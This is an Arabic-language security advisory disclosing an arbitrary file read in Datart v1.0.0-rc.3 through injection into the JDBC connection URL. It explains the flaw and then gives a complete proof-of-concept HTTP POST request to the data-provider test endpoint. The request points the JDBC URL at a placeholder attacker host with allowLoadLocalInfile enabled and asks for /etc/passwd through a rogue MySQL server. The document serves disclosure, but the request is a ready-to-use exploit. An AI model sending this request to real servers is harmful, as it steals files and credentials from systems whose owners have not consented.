
Datart v1.0.0-rc.3 حقن سلسلة اتصال JDBC يؤدي إلى قراءة ملف تعسفي
تم اكتشاف ثغرة قراءة ملفات عشوائية في Datart v1.0.0-rc.3. يفشل التطبيق في التحقق بشكل صحيح من عنوان URL لاتصال JDBC أثناء تكوين مصدر البيانات.
نوع الثغرة: التحقق غير الصحيح من الإدخال (CWE-20) / قراءة ملفات عشوائية الإصدار المتأثر: Datart v1.0.0-rc.3 الخطورة: عالية (احتمال تسرب معلومات حساسة)
توجد الثغرة في وحدة تكوين مصدر البيانات. لا يقوم التطبيق بتطهير معامل url في إعدادات JDBC بشكل صارم. يمكن لمهاجم عن بُعد يتمتع بصلاحيات تكوين مصادر البيانات إدخال معاملات ضارة (خاصة allowLoadLocalInfile=true) في عنوان URL الخاص بـ JDBC.
من خلال توجيه اتصال JDBC إلى خادم MySQL خبيث يتحكم فيه المهاجم (Rogue MySQL Server)، يمكن للمهاجم تحفيز العميل على إرسال ملفات محلية من خادم Datart إلى خادم المهاجم.
يسمح الاستغلال الناجح لمهاجم مصادق عليه بقراءة ملفات عشوائية من نظام ملفات الخادم (مثل /etc/passwd، ملفات التكوين، الكود المصدري)، مما قد يؤدي إلى اختراق الخادم أو هجمات إضافية.
LOAD DATA LOCAL INFILE (مثل استخدام أدوات مثل rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}